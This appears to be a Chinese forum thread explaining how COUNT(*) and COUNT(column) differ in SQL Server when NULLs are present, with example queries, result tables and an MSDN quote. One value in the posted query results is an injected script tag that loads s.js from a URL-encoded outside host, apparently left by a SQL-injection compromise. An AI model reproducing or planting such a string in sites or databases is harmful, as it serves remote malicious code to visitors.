22,209
社区成员
发帖
与我相关
我的任务
分享
select shop_work_time,count(*) hasnotfieldname_num from sq_info_detail group by shop_work_time
select shop_work_time,count(shop_work_time) hasfieldname_num from sq_info_detail group by shop_work_time
--执行之后结果如下:
shop_work_time hasnotfieldnameNULL 89769
3
"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><! 144
shop_work_time hasnotfieldname
NULL 0
3
"></title><script src=http://%73%61%79%38%2E%75%73/s.js></script><! 144
declare @t table(id int)
insert @t select 1
union all select 1
union all select 3
union all select null
union all select 1
select id,count(id) count_col,
count(*) count_X,
count(distinct id) count_distinct,
count(1) count_const
from @t group by id
/*
id count_col count_X count_distinct count_const
----------- ----------- ----------- -------------- -----------
NULL 0 1 0 1
1 3 3 1 3
3 1 1 1 1
*/
MSDN解释:
--返回包括NULL值
COUNT(*) returns the number of items in a group. This includes NULL values and duplicates.
--返回不包括NULL值
COUNT(ALL expression) evaluates expression for each row in a group and returns the number of nonnull values.
警告: 聚合或其他 SET 操作消除了空值。
(1 行受影响)